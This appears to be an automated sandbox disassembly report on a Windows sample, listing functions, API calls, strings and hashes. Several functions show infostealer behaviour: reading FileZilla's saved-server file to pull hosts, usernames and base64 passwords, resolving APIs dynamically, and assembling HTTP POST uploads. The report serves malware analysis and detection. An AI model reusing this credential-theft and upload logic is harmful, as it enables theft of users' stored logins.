API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,027302E0), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,02758F28), ref: 0040796B
lstrcat.KERNEL32(?,02758F70), ref: 0040797F
lstrcat.KERNEL32(?,02758F88), ref: 00407992
lstrcat.KERNEL32(?,02758FA0), ref: 004079A6
lstrcat.KERNEL32(?,02731DD8), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,02758F28), ref: 00407A09
lstrcat.KERNEL32(?,02758F70), ref: 00407A1D
lstrcat.KERNEL32(?,02758F88), ref: 00407A31
lstrcat.KERNEL32(?,02758FA0), ref: 00407A44
lstrcat.KERNEL32(?,02759E90), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,02758F28), ref: 00407AA8
lstrcat.KERNEL32(?,02758F70), ref: 00407ABB
lstrcat.KERNEL32(?,02758F88), ref: 00407ACF
lstrcat.KERNEL32(?,02758FA0), ref: 00407AE3
lstrcat.KERNEL32(?,02759EF8), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,02758F28), ref: 00407B46
lstrcat.KERNEL32(?,02758F70), ref: 00407B5A
lstrcat.KERNEL32(?,02758F88), ref: 00407B6D
lstrcat.KERNEL32(?,02758FA0), ref: 00407B81
lstrcat.KERNEL32(?,02759F60), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,02758F28), ref: 00407BE4
lstrcat.KERNEL32(?,02758F70), ref: 00407BF8
lstrcat.KERNEL32(?,02758F88), ref: 00407C0C
lstrcat.KERNEL32(?,02758FA0), ref: 00407C1F
lstrcat.KERNEL32(?,02756EF0), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,02758F28), ref: 00407C83
lstrcat.KERNEL32(?,02758F70), ref: 00407C96
lstrcat.KERNEL32(?,02758F88), ref: 00407CAA
lstrcat.KERNEL32(?,02758FA0), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(352C1020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(352C1020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(352C1020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(352C1020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(352C1020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(352C1020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(352C1020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,0273BF08), ref: 00407E4B
lstrcat.KERNEL32(?,027596B8), ref: 00407E5E
lstrlenA.KERNEL32(352C1020), ref: 00407E6B
lstrlenA.KERNEL32(352C1020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: d3d83db10b404d8849f7ab4c6503118f6684e85626c10c217fa2a917e04cb255
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: d3d83db10b404d8849f7ab4c6503118f6684e85626c10c217fa2a917e04cb255
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

url: , xrefs: 004103B7
<Pass encoding="base64">, xrefs: 0041029A
profile: null, xrefs: 004103A8
<Host>, xrefs: 004101BC
login: , xrefs: 0041040A
<Port>, xrefs: 00410206
browser: FileZilla, xrefs: 00410399
<User>, xrefs: 00410250
password: , xrefs: 0041043B
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: 361b72b2455e7d4f4d3676c281e3341896d2067e157358f820b36d182e0c7695
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: 361b72b2455e7d4f4d3676c281e3341896d2067e157358f820b36d182e0c7695
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,0273CD50), ref: 004192B1
GetProcAddress.KERNEL32(75900000,0273CD80), ref: 004192CA
GetProcAddress.KERNEL32(75900000,02756AF8), ref: 004192E2
GetProcAddress.KERNEL32(75900000,02756AB0), ref: 004192FA
GetProcAddress.KERNEL32(75900000,02756A98), ref: 00419313
GetProcAddress.KERNEL32(75900000,02736450), ref: 0041932B
GetProcAddress.KERNEL32(75900000,02735CC8), ref: 00419343
GetProcAddress.KERNEL32(75900000,02735F28), ref: 0041935C
GetProcAddress.KERNEL32(75900000,02756B10), ref: 00419374
GetProcAddress.KERNEL32(75900000,02756CD8), ref: 0041938C
GetProcAddress.KERNEL32(75900000,02756B28), ref: 004193A5
GetProcAddress.KERNEL32(75900000,02756B40), ref: 004193BD
GetProcAddress.KERNEL32(75900000,02735D48), ref: 004193D5
GetProcAddress.KERNEL32(75900000,02756A38), ref: 004193EE
GetProcAddress.KERNEL32(75900000,02756AC8), ref: 00419406
GetProcAddress.KERNEL32(75900000,02735DA8), ref: 0041941E
GetProcAddress.KERNEL32(75900000,02756C48), ref: 00419437
GetProcAddress.KERNEL32(75900000,02756C18), ref: 0041944F
GetProcAddress.KERNEL32(75900000,02735FC8), ref: 00419467
GetProcAddress.KERNEL32(75900000,02756C30), ref: 00419480
GetProcAddress.KERNEL32(75900000,02735FE8), ref: 00419498
LoadLibraryA.KERNEL32(02756A08,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(02756B58,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(02756B88,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(02756B70,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(02756AE0,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75070000,02756BA0), ref: 00419512
GetProcAddress.KERNEL32(75FD0000,02756C60), ref: 00419533
GetProcAddress.KERNEL32(75FD0000,02756A80), ref: 0041954B
GetProcAddress.KERNEL32(75A50000,02756C78), ref: 0041956D
GetProcAddress.KERNEL32(74E50000,02735EE8), ref: 0041958E
GetProcAddress.KERNEL32(76E80000,02736470), ref: 004195AF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,0275AC80), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,0275AC30,?,0275A100,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,0275ADD0,00000000,?,02738DD8,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

--, xrefs: 004052D0
------, xrefs: 004052E7
------, xrefs: 0040568B
------, xrefs: 00405407
------, xrefs: 00405549
", xrefs: 004054D2
", xrefs: 00405614
", xrefs: 00405756

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 811081172-2774362122
Opcode ID: b7a2700fc308d7a4686d84a4f93ccac6821336ecb79079f62d44d7bdd3875dcb
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: b7a2700fc308d7a4686d84a4f93ccac6821336ecb79079f62d44d7bdd3875dcb
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,0275AC80), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0275AD00,00000000,?,02738DD8,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,0275AC30,?,0275A100,00000000,00000000,00400100,00000000), ref: 00405C48

